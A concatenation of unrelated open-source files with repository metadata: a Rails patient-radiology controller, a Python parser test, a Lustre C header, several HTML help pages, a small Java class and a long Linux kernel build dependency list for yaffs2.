| 559
|
class TreatmentAreas::PatientsController < ApplicationController
before_filter :authenticate_user!
before_filter :find_treatment_area
def index
@patients_table = PatientsTable.new
@patient_search = @patients_table.search(params)
end
def radiology
@patient = Patient.find(params[:id])
if dexis? || kodak?
app_config["dexis_paths"].each do |root_path|
path = [root_path, "passtodex", current_user.x_ray_station_id, ".dat"].join
@patient.export_to_dexis(path)
end
end
respond_to do |format|
format.html do
@patient.check_out(TreatmentArea.radiology)
redirect_to treatment_area_patient_procedures_path(TreatmentArea.radiology, @patient.id)
end
end
rescue => e
flash[:error] = e.message
redirect_to :action => :index
end
private
def find_treatment_area
@treatment_area = TreatmentArea.find(params[:treatment_area_id])
end
end
|
mission-of-mercy/georgia
|
app/controllers/treatment_areas/patients_controller.rb
|
Ruby
|
gpl-2.0
| 945
|
# replaces the '%' symbol with '+', leaving the return values of actions usable for other things, such as type information,
# and leaving whitespace intact.
from dparser import Parser
# turn a tree of strings into a single string (slowly):
def stringify(s):
if not isinstance(s, str):
return ''.join(map(stringify, s))
return s
def d_add1(t, s):
"add : add '%' exp"
s[1] = '+ ' # replace the % with +
def d_add2(t, s):
"add : exp"
def d_exp(t):
'exp : "[0-9]+" '
# if the start action specifies the 's' argument, then parser
# will contain a member, s,
parser = Parser()
parsedmessage = parser.parse('1 % 2 % 3')
if stringify(parsedmessage.getStringLeft()) != '1 + 2 + 3':
print 'error'
|
charlesDGY/coflo
|
coflo-0.0.4/third_party/d/python/tests/test6.py
|
Python
|
gpl-2.0
| 743
|
/*
* GPL HEADER START
*
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 only,
* as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License version 2 for more details (a copy is included
* in the LICENSE file that accompanied this code).
*
* You should have received a copy of the GNU General Public License
* version 2 along with this program; If not, see
* http://www.sun.com/software/products/lustre/docs/GPLv2.pdf
*
* Please contact Sun Microsystems, Inc., 4150 Network Circle, Santa Clara,
* CA 95054 USA or visit www.sun.com if you need additional information or
* have any questions.
*
* GPL HEADER END
*/
/*
* Copyright (c) 2007, 2010, Oracle and/or its affiliates. All rights reserved.
* Use is subject to license terms.
*/
/*
* This file is part of Lustre, http://www.lustre.org/
* Lustre is a trademark of Sun Microsystems, Inc.
*/
#define DEBUG_PORTAL_ALLOC
#ifndef __WINNT_TDILND_LIB_H__
#define __WINNT_TDILND_LIB_H__
#include <libcfs/libcfs.h>
#ifndef CONFIG_SMP
static inline
int ksocknal_nsched(void)
{
return 1;
}
#else
static inline int
ksocknal_nsched(void)
{
return num_online_cpus();
}
static inline int
ksocknal_sched2cpu(int i)
{
return i;
}
static inline int
ksocknal_irqsched2cpu(int i)
{
return i;
}
#endif
static inline __u32 ksocknal_csum(__u32 crc, unsigned char const *p, size_t len)
{
while (len-- > 0)
crc = ((crc + 0x100) & ~0xff) | ((crc + *p++) & 0xff) ;
return crc;
}
#endif
|
walgenbach/lustre-release
|
lnet/klnds/socklnd/socklnd_lib-winnt.h
|
C
|
gpl-2.0
| 1,877
|
<html>
<head>
<title>Das SpeedCrunch-Buch</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel="stylesheet" type="text/css" href="../books.css" />
</head>
<body align="left">
<h1>3D-Objekte</h1><br />
<a href="sphere.html">Kugel</a><br />
<a href="cube.html">Würfel</a><br />
<a href="cone.html">Kegel</a><br />
<a href="cylinder.html">Zylinder</a><br />
<h1>2D-Objekte</h1><br />
<a href="circle.html">Kreis</a><br />
<a href="right_triangle.html">Rechtwinkliges Dreieck</a><br />
<a href="sector.html">Kreissegment</a><br />
<h1>Verschiedenes</h1><br />
<a href="quadratic_equation.html">Quadratische Gleichung</a><br />
</body>
</html>
|
ruphy/speedcrunch
|
src/books/de/math_index.html
|
HTML
|
gpl-2.0
| 737
|
<!--
--- UCSF Chimera Copyright ---
Copyright (c) 2000-2009 Regents of the University of California.
All rights reserved. This software provided pursuant to a
license agreement containing restrictions on its disclosure,
duplication and use. This notice must be embedded in or
attached to all copies, including partial copies, of the
software or any revisions or derivations thereof.
--- UCSF Chimera Copyright ---
-->
<html>
<head>
<TITLE>Atom Specification</TITLE>
</head><body>
<font size=-1>
<p>
<a href="../framecore.html" target="_top"><b>Basic Functions Index</b></a>
</p><p>
<a href="../framecommand.html" target="_top"><b>Commands Index</b></a>
</p>
</font>
<b>Atom Specification</b>
<font size=-1>
<p>
<a href="atom_spec.html" target="Content">Overview</a>
</p><p>
<a href="atom_spec.html#hierarchy" target="Content">Hierarchical Specifiers</a>
<ul>
<li><a href="atom_spec.html#basic" target="Content">Basic</a>
<li><a href="atom_spec.html#subcats" target="Content">Subcategories</a>
<li><a href="atom_spec.html#wildcards" target="Content">Wild Cards</a>
</ul>
<a href="atom_spec.html#zones" target="Content">Zones</a>
</p><p>
<a href="atom_spec.html#builtin" target="Content">Built-in Classifications</a>
</p><p>
<a href="atom_spec.html#descriptors" target="Content">
Attributes</a>
<ul>
<li><a href="atom_spec.html#atprops" target="Content">Atom</a>
<li><a href="atom_spec.html#resprops" target="Content">Residue</a>
<li><a href="atom_spec.html#modprops" target="Content">Model</a>
<li><a href="atom_spec.html#attrnames" target="Content">Attr Names</a>
</ul>
<a href="atom_spec.html#combinations" target="Content">Combinations</a>
</p><p>
<a href="atom_spec.html#othermodels" target="Content">Surfaces, Other</a>
</p>
</font>
</body>
</html>
|
platinhom/ManualHom
|
Visualization/Chimera/1.10/helpdir/UsersGuide/midas/TOCatom_spec.html
|
HTML
|
gpl-2.0
| 1,770
|
<!DOCTYPE html>
<html>
<!-- Mirrored from www.w3schools.com/jsref/tryjsref_event_key_key_if.htm by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 23 Jan 2015 08:38:21 GMT -->
<body>
<p>Press the "A" key on the keyboard in the input field to alert some text.</p>
<input type="text" size="40" onkeydown="myFunction(event)">
<p><strong>Note:</strong> The key property is currently only supported in Firefox and IE9+.</p>
<script>
function myFunction(event) {
var x = event.key;
// If the pressed keyboard button is "a" or "A" (using caps lock or shift), alert some text.
if (x == "a" || x == "A") {
alert ("You pressed the 'A' key!");
}
}
</script>
</body>
<!-- Mirrored from www.w3schools.com/jsref/tryjsref_event_key_key_if.htm by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 23 Jan 2015 08:38:21 GMT -->
</html>
|
platinhom/ManualHom
|
Coding/W3School/W3Schools_Offline_2015/www.w3schools.com/jsref/tryjsref_event_key_key_if.html
|
HTML
|
gpl-2.0
| 853
|
package pub.infoclass.pushservice;
public class ACK {
private int p = h_protocol_pusher.ACK;
private String UserID;
private String PushID;
public ACK(String userID, String pushID) {
super();
UserID = userID;
PushID = pushID;
}
public int getP() {
return p;
}
public void setP(int p) {
this.p = p;
}
public String getUserID() {
return UserID;
}
public void setUserID(String userID) {
UserID = userID;
}
public String getPushID() {
return PushID;
}
public void setPushID(String pushID) {
PushID = pushID;
}
}
|
282857484/LocationBaseServiceSocialNetworking
|
src/pub/infoclass/pushservice/ACK.java
|
Java
|
gpl-2.0
| 551
|
cmd_fs/yaffs2/yaffs_guts.o := arm-eabi-gcc -Wp,-MD,fs/yaffs2/.yaffs_guts.o.d -nostdinc -isystem /usr/bin/../lib/gcc/arm-eabi/4.5.0/include -Iinclude -I/home/jacob/source/wildfire-kernel/arch/arm/include -include include/linux/autoconf.h -D__KERNEL__ -mlittle-endian -Iarch/arm/mach-msm/include -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -Werror-implicit-function-declaration -Os -marm -fno-omit-frame-pointer -mapcs -mno-sched-prolog -mabi=aapcs-linux -mno-thumb-interwork -D__LINUX_ARM_ARCH__=6 -march=armv6 -mtune=arm1136j-s -msoft-float -Uarm -Wframe-larger-than=1024 -fno-stack-protector -fno-omit-frame-pointer -fno-optimize-sibling-calls -g -Wdeclaration-after-statement -Wno-pointer-sign -fwrapv -fno-dwarf2-cfi-asm -D"KBUILD_STR(s)=\#s" -D"KBUILD_BASENAME=KBUILD_STR(yaffs_guts)" -D"KBUILD_MODNAME=KBUILD_STR(yaffs)" -c -o fs/yaffs2/yaffs_guts.o fs/yaffs2/yaffs_guts.c
deps_fs/yaffs2/yaffs_guts.o := \
fs/yaffs2/yaffs_guts.c \
$(wildcard include/config/yaffs/use/own/sort.h) \
$(wildcard include/config/yaffs/always/check/chunk/erased.h) \
$(wildcard include/config/yaffs/case/insensitive.h) \
$(wildcard include/config/yaffs/short/names/in/ram.h) \
$(wildcard include/config/yaffs/tnode/list/debug.h) \
$(wildcard include/config/yaffs/wince.h) \
$(wildcard include/config/yaffs/disable/lazy/load.h) \
$(wildcard include/config/yaffs/yaffs2.h) \
fs/yaffs2/yportenv.h \
$(wildcard include/config/yaffs/direct.h) \
$(wildcard include/config/yaffs/util.h) \
fs/yaffs2/moduleconfig.h \
$(wildcard include/config/h//.h) \
$(wildcard include/config/yaffs/fs.h) \
$(wildcard include/config/yaffs/yaffs1.h) \
$(wildcard include/config/yaffs/does/ecc.h) \
$(wildcard include/config/yaffs/ecc/wrong/order.h) \
$(wildcard include/config/yaffs/disable/chunk/erased/check.h) \
$(wildcard include/config/yaffs/checkpoint/reserved/blocks.h) \
$(wildcard include/config/yaffs/9byte/tags.h) \
include/linux/version.h \
include/linux/kernel.h \
$(wildcard include/config/lbd.h) \
$(wildcard include/config/preempt/voluntary.h) \
$(wildcard include/config/debug/spinlock/sleep.h) \
$(wildcard include/config/prove/locking.h) \
$(wildcard include/config/printk.h) \
$(wildcard include/config/dynamic/printk/debug.h) \
$(wildcard include/config/numa.h) \
$(wildcard include/config/ftrace/mcount/record.h) \
/usr/bin/../lib/gcc/arm-eabi/4.5.0/include/stdarg.h \
include/linux/linkage.h \
include/linux/compiler.h \
$(wildcard include/config/trace/branch/profiling.h) \
$(wildcard include/config/profile/all/branches.h) \
$(wildcard include/config/enable/must/check.h) \
$(wildcard include/config/enable/warn/deprecated.h) \
include/linux/compiler-gcc.h \
$(wildcard include/config/arch/supports/optimized/inlining.h) \
$(wildcard include/config/optimize/inlining.h) \
include/linux/compiler-gcc4.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/linkage.h \
include/linux/stddef.h \
include/linux/types.h \
$(wildcard include/config/uid16.h) \
$(wildcard include/config/phys/addr/t/64bit.h) \
$(wildcard include/config/64bit.h) \
include/linux/posix_types.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/posix_types.h \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/types.h \
include/asm-generic/int-ll64.h \
include/linux/bitops.h \
$(wildcard include/config/generic/find/first/bit.h) \
$(wildcard include/config/generic/find/last/bit.h) \
$(wildcard include/config/generic/find/next/bit.h) \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/bitops.h \
$(wildcard include/config/smp.h) \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/system.h \
$(wildcard include/config/cpu/xsc3.h) \
$(wildcard include/config/cpu/sa1100.h) \
$(wildcard include/config/cpu/sa110.h) \
/home/jacob/source/wildfire-kernel/arch/arm/include/asm/memory.h \
$(wildcard include/config/mmu.h) \
$(wildcard include/config/page/offset.h) \
$(wildcard include/config/dram/size.h) \
$(wildcard include/config/dram/base.h) \
$(wildcard include/config/zone/dma.h) \
$(wildcard include/config/discontigmem.h) \
include/linux/const.h \
arch/arm/mach-msm/include/mach/memory.h \
$(wildcard include/config/arch/qsd8x50.h) \
$(wildcard include/config/arch/msm7225.h) \
$(wildcard include/config/arch/msm7200a.h) \
$(wildcard include/config/arch/msm7201a.h) \
$(wildcard include/config/arch/msm7x00a.h) \
$(wildcard include/config/mach/desirec.h) \
$(wildcard include/config/arch/msm7227.h) \
$(wildcard include/config/arch/msm/arm11.h) \
$(wildcard include/config/cache/l2x0.h) \
$(wildcard include/config/arch/msm/scorpion.h) \
include/asm/mach-types.h \
$(wildcard include/config/arch/ebsa110.h) \
$(wildcard include/config/arch/rpc.h) \
$(wildcard include/config/arch/nexuspci.h) \
$(wildcard include/config/arch/ebsa285.h) \
$(wildcard include/config/arch/netwinder.h) \
$(wildcard include/config/arch/cats.h) \
$(wildcard include/config/arch/tbox.h) \
$(wildcard include/config/arch/co285.h) \
$(wildcard include/config/arch/clps7110.h) \
$(wildcard include/config/arch/arc.h) \
$(wildcard include/config/arch/a5k.h) \
$(wildcard include/config/arch/etoile.h) \
$(wildcard include/config/arch/lacie/nas.h) \
$(wildcard include/config/arch/clps7500.h) \
$(wildcard include/config/arch/shark.h) \
$(wildcard include/config/sa1100/brutus.h) \
$(wildcard include/config/arch/personal/server.h) \
$(wildcard include/config/sa1100/itsy.h) \
$(wildcard include/config/arch/l7200.h) \
$(wildcard include/config/sa1100/pleb.h) \
$(wildcard include/config/arch/integrator.h) \
$(wildcard include/config/sa1100/h3600.h) \
$(wildcard include/config/arch/ixp1200.h) \
$(wildcard include/config/arch/p720t.h) \
$(wildcard include/config/sa1100/assabet.h) \
$(wildcard include/config/sa1100/victor.h) \
$(wildcard include/config/sa1100/lart.h) \
$(wildcard include/config/sa1100/ranger.h) \
$(wildcard include/config/sa1100/graphicsclient.h) \
$(wildcard include/config/sa1100/xp860.h) \
$(wildcard include/config/sa1100/cerf.h) \
$(wildcard include/config/sa1100/nanoengine.h) \
$(wildcard include/config/sa1100/fpic.h) \
$(wildcard include/config/sa1100/extenex1.h) \
$(wildcard include/config/sa1100/sherman.h) \
$(wildcard include/config/sa1100/accelent.h) \
$(wildcard include/config/arch/l7200/accelent.h) \
$(wildcard include/config/sa1100/netport.h) \
$(wildcard include/config/sa1100/pangolin.h) \
$(wildcard include/config/sa1100/yopy.h) \
$(wildcard include/config/sa1100/coolidge.h) \
$(wildcard include/config/sa1100/huw/webpanel.h) \
$(wildcard include/config/arch/spotme.h) \
$(wildcard include/config/arch/freebird.h) \
$(wildcard include/config/arch/ti925.h) \
$(wildcard include/config/arch/riscstation.h) \
$(wildcard include/config/sa1100/cavy.h) \
$(wildcard include/config/sa1100/jornada720.h) \
$(wildcard include/config/sa1100/omnimeter.h) \
$(wildcard include/config/arch/edb7211.h) \
$(wildcard include/config/sa1100/citygo.h) \
$(wildcard include/config/sa1100/pfs168.h) \
$(wildcard include/config/sa1100/spot.h) \
$(wildcard include/config/sa1100/flexanet.h) \
$(wildcard include/config/arch/webpal.h) \
$(wildcard include/config/sa1100/linpda.h) \
$(wildcard include/config/arch/anakin.h) \
$(wildcard include/config/sa1100/mvi.h) \
$(wildcard include/config/sa1100/jupiter.h) \
$(wildcard include/config/arch/psionw.h) \
$(wildcard include/config/sa1100/aln.h) \
$(wildcard include/config/arch/camelot.h) \
$(wildcard include/config/sa1100/gds2200.h) \
$(wildcard include/config/sa1100/psion/series7.h) \
$(wildcard include/config/sa1100/xfile.h) \
$(wildcard include/config/arch/accelent/ep9312.h) \
$(wildcard include/config/arch/ic200.h) \
$(wildcard include/config/sa1100/creditlart.h) \
$(wildcard include/config/sa1100/htm.h) \
$(wildcard include/config/arch/iq80310.h) \
$(wildcard include/config/sa1100/freebot.h) \
$(wildcard include/config/arch/entel.h) \
$(wildcard include/config/arch/enp3510.h) \
$(wildcard include/config/sa1100/trizeps.h) \
$(wildcard include/config/sa1100/nesa.h) \
$(wildcard include/config/arch/venus.h) \
$(wildcard include/config/arch/tardis.h) \
$(wildcard include/config/arch/mercury.h) \
$(wildcard include/config/sa1100/empeg.h) \
$(wildcard include/config/arch/i80200fcc.h) \
$(wildcard include/config/sa1100/itt/cpb.h) \
$(wildcard include/config/sa1100/svc.h) \
$(wildcard include/config/sa1100/alpha2.h) \
$(wildcard include/config/sa1100/alpha1.h) \
$(wildcard include/config/arch/netarm.h) \
$(wildcard include/config/sa1100/simpad.h) \
$(wildcard include/config/arch/pda1.h) \
$(wildcard include/config/arch/lubbock.h) \
$(wildcard include/config/arch/aniko.h) \
$(wildcard include/config/arch/clep7212.h) \
$(wildcard include/config/arch/cs89712.h) \
$(wildcard include/config/sa1100/weararm.h) \
$(wildcard include/config/sa1100/possio/px.h) \
$(wildcard include/config/sa1100/sidearm.h) \
$(wildcard include/config/sa1100/stork.h) \
$(wildcard include/config/sa1100/shannon.h) \
$(wildcard include/config/arch/ace.h) \
$(wildcard include/config/sa1100/ballyarm.h) \
$(wildcard include/config/sa1100/simputer.h) \
$(wildcard include/config/sa1100/nexterm.h) \
$(wildcard include/config/sa1100/sa1100/elf.h) \
$(wildcard include/config/sa1100/gator.h) \
$(wildcard include/config/arch/granite.h) \
$(wildcard include/config/sa1100/consus.h) \
$(wildcard include/config/arch/aaed2000.h) \
$(wildcard include/config/arch/cdb89712.h) \
$(wildcard include/config/sa1100/graphicsmaster.h) \
$(wildcard include/config/sa1100/adsbitsy.h) \
$(wildcard include/config/arch/pxa/idp.h) \
$(wildcard include/config/arch/plce.h) \
$(wildcard include/config/sa1100/pt/system3.h) \
$(wildcard include/config/arch/medalb.h) \
$(wildcard include/config/arch/eagle.h) \
$(wildcard include/config/arch/dsc21.h) \
$(wildcard include/config/arch/dsc24.h) \
$(wildcard include/config/arch/ti5472.h) \
$(wildcard include/config/arch/autcpu12.h) \
$(wildcard include/config/arch/uengine.h) \
$(wildcard include/config/sa1100/bluestem.h) \
$(wildcard include/config/arch/xingu8.h) \
$(wildcard include/config/arch/bushstb.h) \
$(wildcard include/config/sa1100/epsilon1.h) \
$(wildcard include/config/sa1100/balloon.h) \
$(wildcard include/config/arch/puppy.h) \
$(wildcard include/config/sa1100/elroy.h) \
$(wildcard include/config/arch/gms720.h) \
$(wildcard include/config/arch/s24x.h) \
$(wildcard include/config/arch/jtel/clep7312.h) \
$(wildcard include/config/arch/cx821xx.h) \
$(wildcard include/config/arch/edb7312.h) \
$(wildcard include/config/sa1100/bsa1110.h) \
$(wildcard include/config/arch/powerpin.h) \
$(wildcard include/config/arch/openarm.h) \
$(wildcard include/config/sa1100/whitechapel.h) \
$(wildcard include/config/sa1100/h3100.h) \
$(wildcard include/config/sa1100/h3800.h) \
$(wildcard include/config/arch/blue/v1.h) \
$(wildcard include/config/arch/pxa/cerf.h) \
$(wildcard include/config/arch/arm7tevb.h) \
$(wildcard include/config/sa1100/d7400.h) \
$(wildcard include/config/arch/piranha.h) \
$(wildcard include/config/sa1100/sbcamelot.h) \
$(wildcard include/config/sa1100/kings.h) \
$(wildcard include/config/arch/smdk2400.h) \
$(wildcard include/config/sa1100/collie.h) \
$(wildcard include/config/arch/idr.h) \
$(wildcard include/config/sa1100/badge4.h) \
$(wildcard include/config/arch/webnet.h) \
$(wildcard include/config/sa1100/d7300.h) \
$(wildcard include/config/sa1100/cep.h) \
$(wildcard include/config/arch/fortunet.h) \
$(wildcard include/config/arch/vc547x.h) \
$(wildcard include/config/sa1100/filewalker.h) \
$(wildcard include/config/sa1100/netgateway.h) \
$(wildcard include/config/sa1100/symbol2800.h) \
$(wildcard include/config/sa1100/suns.h) \
$(wildcard include/config/sa1100/frodo.h) \
$(wildcard include/config/sa1100/mach/tyte/ms301.h) \
$(wildcard include/config/arch/mx1ads.h) \
$(wildcard include/config/arch/h7201.h) \
$(wildcard include/config/arch/h7202.h) \
$(wildcard include/config/arch/amico.h) \
$(wildcard include/config/sa1100/iam.h) \
$(wildcard include/config/sa1100/tt530.h) \
$(wildcard include/config/arch/sam2400.h) \
$(wildcard include/config/sa1100/jornada56x.h) \
$(wildcard include/config/sa1100/active.h) \
$(wildcard include/config/arch/iq80321.h) \
$(wildcard include/config/sa1100/wid.h) \
$(wildcard include/config/arch/sabinal.h) \
$(wildcard include/config/arch/ixp425/matacumbe.h) \
$(wildcard include/config/sa1100/miniprint.h) \
$(wildcard include/config/arch/adm510x.h) \
$(wildcard include/config/sa1100/svs200.h) \
$(wildcard include/config/arch/atg/tcu.h) \
$(wildcard include/config/sa1100/jornada820.h) \
$(wildcard include/config/arch/s3c44b0.h) \
$(wildcard include/config/arch/margis2.h) \
$(wildcard include/config/arch/ks8695.h) \
$(wildcard include/config/arch/brh.h) \
$(wildcard include/config/arch/s3c2410.h) \
$(wildcard include/config/arch/possio/px30.h) \
$(wildcard include/config/arch/s3c2800.h) \
$(wildcard include/config/sa1100/fleetwood.h) \
$(wildcard include/config/arch/omaha.h) \
$(wildcard include/config/arch/ta7.h) \
$(wildcard include/config/sa1100/nova.h) \
$(wildcard include/config/arch/hmk.h) \
$(wildcard include/config/arch/karo.h) \
$(wildcard include/config/sa1100/fester.h) \
$(wildcard include/config/arch/gpi.h) \
$(wildcard include/config/arch/smdk2410.h) \
$(wildcard include/config/arch/i519.h) \
$(wildcard include/config/sa1100/nexio.h) \
$(wildcard include/config/sa1100/bitbox.h) \
$(wildcard include/config/sa1100/g200.h) \
$(wildcard include/config/sa1100/gill.h) \
$(wildcard include/config/arch/pxa/mercury.h) \
$(wildcard include/config/arch/ceiva.h) \
$(wildcard include/config/sa1100/fret.h) \
$(wildcard include/config/sa1100/emailphone.h) \
$(wildcard include/config/arch/h3900.h) \
$(wildcard include/config/arch/pxa1.h) \
$(wildcard include/config/sa1100/koan369.h) \
$(wildcard include/config/arch/cogent.h) \
$(wildcard include/config/arch/esl/simputer.h) \
$(wildcard include/config/arch/esl/simputer/clr.h) \
$(wildcard include/config/arch/esl/simputer/bw.h) \
$(wildcard include/config/arch/hhp/cradle.h) \
$(wildcard include/config/arch/he500.h) \
$(wildcard include/config/sa1100/inhandelf2.h) \
$(wildcard include/config/sa1100/inhandftip.h) \
$(wildcard include/config/sa1100/dnp1110.h) \
$(wildcard include/config/sa1100/pnp1110.h) \
$(wildcard include/config/arch/csb226.h) \
$(wildcard include/config/sa1100/arnold.h) \
$(wildcard include/config/mach/voiceblue.h) \
$(wildcard include/config/arch/jz8028.h) \
$(wildcard include/config/arch/h5400.h) \
$(wildcard include/config/sa1100/forte.h) \
$(wildcard include/config/sa1100/acam.h) \
$(wildcard include/config/sa1100/abox.h) \
$(wildcard include/config/arch/atmel.h) \
$(wildcard include/config/arch/sitsang.h) \
$(wildcard include/config/sa1100/cpu1110lcdnet.h) \
$(wildcard include/config/arch/mpl/vcma9.h) \
$(wildcard include/config/arch/opus/a1.h) \
$(wildcard include/config/arch/daytona.h) \
$(wildcard include/config/sa1100/killbear.h) \
$(wildcard include/config/arch/yoho.h) \
$(wildcard include/config/arch/jasper.h) \
$(wildcard include/config/arch/dsc25.h) \
$(wildcard include/config/mach/omap/innovator.h) \
$(wildcard include/config/arch/ramses.h) \
$(wildcard include/config/arch/s28x.h) \
$(wildcard include/config/arch/mport3.h) \
$(wildcard include/config/arch/pxa/eagle250.h) \
$(wildcard include/config/arch/pdb.h) \
$(wildcard include/config/sa1100/blue/2g.h) \
$(wildcard include/config/sa1100/bluearch.h) \
$(wildcard include/config/arch/ixdp2400.h) \
$(wildcard include/config/arch/ixdp2800.h) \
$(wildcard include/config/sa1100/explorer.h) \
$(wildcard include/config/arch/ixdp425.h) \
$(wildcard include/config/arch/chimp.h) \
$(wildcard include/config/arch/stork/nest.h) \
$(wildcard include/config/arch/stork/egg.h) \
$(wildcard include/config/sa1100/wismo.h) \
$(wildcard include/config/arch/ezlinx.h) \
$(wildcard include/config/arch/at91rm9200.h) \
$(wildcard include/config/arch/adtech/orion.h) \
$(wildcard include/config/arch/neptune.h) \
$(wildcard include/config/sa1100/hackkit.h) \
$(wildcard include/config/arch/pxa/wins30.h) \
$(wildcard include/config/sa1100/lavinna.h) \
$(wildcard include/config/arch/pxa/uengine.h) \
$(wildcard include/config/arch/innokom.h) \
$(wildcard include/config/arch/bms.h) \
$(wildcard include/config/arch/ixcdp1100.h) \
$(wildcard include/config/arch/prpmc1100.h) \
$(wildcard include/config/arch/at91rm9200dk.h) \
$(wildcard include/config/arch/armstick.h) \
$(wildcard include/config/arch/armonie.h) \
$(wildcard include/config/arch/mport1.h) \
$(wildcard include/config/arch/s3c5410.h) \
$(wildcard include/config/arch/zcp320a.h) \
$(wildcard include/config/arch/i/box.h) \
$(wildcard include/config/arch/stlc1502.h) \
$(wildcard include/config/arch/siren.h) \
$(wildcard include/config/arch/greenlake.h) \
$(wildcard include/config/arch/argus.h) \
$(wildcard include/config/sa1100/combadge.h) \
$(wildcard include/config/arch/rokepxa.h) \
$(wildcard include/config/arch/cintegrator.h) \
$(wildcard include/config/arch/guidea07.h) \
$(wildcard include/config/arch/tat257.h) \
$(wildcard include/config/arch/igp2425.h) \
$(wildcard include/config/arch/bluegramma.h) \
$(wildcard include/config/arch/ipod.h) \
$(wildcard include/config/arch/adsbitsyx.h) \
$(wildcard include/config/arch/trizeps2.h) \
$(wildcard include/config/arch/viper.h) \
$(wildcard include/config/sa1100/adsbitsyplus.h) \
$(wildcard include/config/sa1100/adsagc.h) \
$(wildcard include/config/arch/stp7312.h) \
$(wildcard include/config/mach/nx/phnx.h) \
$(wildcard include/config/arch/wep/ep250.h) \
$(wildcard include/config/arch/inhandelf3.h) \
$(wildcard include/config/arch/adi/coyote.h) \
$(wildcard include/config/arch/iyonix.h) \
$(wildcard include/config/arch/damicam/sa1110.h) \
$(wildcard include/config/arch/meg03.h) \
$(wildcard include/config/arch/pxa/whitechapel.h) \
$(wildcard include/config/arch/nwsc.h) \
$(wildcard include/config/arch/nwlarm.h) \
$(wildcard include/config/arch/ixp425/mguard.h) \
$(wildcard include/config/arch/pxa/netdcu4.h) \
$(wildcard include/config/arch/ixdp2401.h) \
$(wildcard include/config/arch/ixdp2801.h) \
$(wildcard include/config/arch/zodiac.h) \
$(wildcard include/config/arch/armmodul.h) \
$(wildcard include/config/sa1100/ketop.h) \
$(wildcard include/config/arch/av7200.h) \
$(wildcard include/config/arch/arch/ti925.h) \
$(wildcard include/config/arch/acq200.h) \
$(wildcard include/config/sa1100/pt/dafit.h) \
$(wildcard include/config/arch/ihba.h) \
$(wildcard include/config/arch/quinque.h) \
$(wildcard include/config/arch/nimbraone.h) \
$(wildcard include/config/arch/nimbra29x.h) \
$(wildcard include/config/arch/nimbra210.h) \
$(wildcard include/config/arch/hhp/d95xx.h) \
$(wildcard include/config/arch/labarm.h) \
$(wildcard include/config/arch/m825xx.h) \
$(wildcard include/config/sa1100/m7100.h) \
$(wildcard include/config/arch/nipc2.h) \
$(wildcard include/config/arch/fu7202.h) \
$(wildcard include/config/arch/adsagx.h) \
$(wildcard include/config/arch/pxa/pooh.h) \
$(wildcard include/config/arch/bandon.h) \
$(wildcard include/config/arch/pcm7210.h) \
$(wildcard include/config/arch/nms9200.h) \
$(wildcard include/config/arch/logodl.h) \
$(wildcard include/config/sa1100/m7140.h) \
$(wildcard include/config/arch/korebot.h) \
$(wildcard include/config/arch/iq31244.h) \
$(wildcard include/config/sa1100/koan393.h) \
$(wildcard include/config/arch/inhandftip3.h) \
$(wildcard include/config/arch/gonzo.h) \
$(wildcard include/config/arch/bast.h) \
$(wildcard include/config/arch/scanpass.h) \
$(wildcard include/config/arch/ep7312/pooh.h) \
$(wildcard include/config/arch/ta7s.h) \
$(wildcard include/config/arch/ta7v.h) \
$(wildcard include/config/sa1100/icarus.h) \
$(wildcard include/config/arch/h1900.h) \
$(wildcard include/config/sa1100/gemini.h) \
$(wildcard include/config/arch/axim.h) \
$(wildcard include/config/arch/audiotron.h) \
$(wildcard include/config/arch/h2200.h) \
$(wildcard include/config/arch/loox600.h) \
$(wildcard include/config/arch/niop.h) \
$(wildcard include/config/arch/dm310.h) \
$(wildcard include/config/arch/seedpxa/c2.h) \
$(wildcard include/config/arch/ixp4xx/mguard/pci.h) \
$(wildcard include/config/arch/h1940.h) \
$(wildcard include/config/arch/scorpio.h) \
$(wildcard include/config/arch/viva.h) \
$(wildcard include/config/arch/pxa/xcard.h) \
$(wildcard include/config/arch/csb335.h) \
$(wildcard include/config/arch/ixrd425.h) \
$(wildcard include/config/arch/iq80315.h) \
$(wildcard include/config/arch/nmp7312.h) \
$(wildcard include/config/arch/cx861xx.h) \
$(wildcard include/config/arch/enp2611.h) \
$(wildcard include/config/sa1100/xda.h) \
$(wildcard include/config/arch/csir/ims.h) \
$(wildcard include/config/arch/ixp421/dnaeeth.h) \
$(wildcard include/config/arch/pocketserv9200.h) \
$(wildcard include/config/arch/toto.h) \
$(wildcard include/config/arch/s3c2440.h) \
$(wildcard include/config/arch/ks8695p.h) \
$(wildcard include/config/arch/se4000.h) \
$(wildcard include/config/arch/quadriceps.h) \
$(wildcard include/config/arch/bronco.h) \
$(wildcard include/config/arch/esl/wireless/tab.h) \
$(wildcard include/config/arch/esl/sofcomp.h) \
$(wildcard include/config/arch/s5c7375.h) \
$(wildcard include/config/arch/spearhead.h) \
$(wildcard include/config/arch/pantera.h) \
$(wildcard include/config/arch/prayoglite.h) \
$(wildcard include/config/arch/gumstix.h) \
$(wildcard include/config/arch/rcube.h) \
$(wildcard include/config/arch/rea/olv.h) \
$(wildcard include/config/arch/pxa/iphone.h) \
$(wildcard include/config/arch/s3c3410.h) \
$(wildcard include/config/arch/espd/4510b.h) \
$(wildcard include/config/arch/mp1x.h) \
$(wildcard include/config/arch/at91rm9200tb.h) \
$(wildcard include/config/arch/adsvgx.h) \
$(wildcard include/config/mach/omap/h2.h) \
$(wildcard include/config/arch/pelee.h) \
$(wildcard include/config/mach/e740.h) \
$(wildcard include/config/arch/iq80331.h) \
$(wildcard include/config/arch/versatile/pb.h) \
$(wildcard include/config/mach/kev7a400.h) \
$(wildcard include/config/mach/lpd7a400.h) \
$(wildcard include/config/mach/lpd7a404.h) \
$(wildcard include/config/arch/fujitsu/camelot.h) \
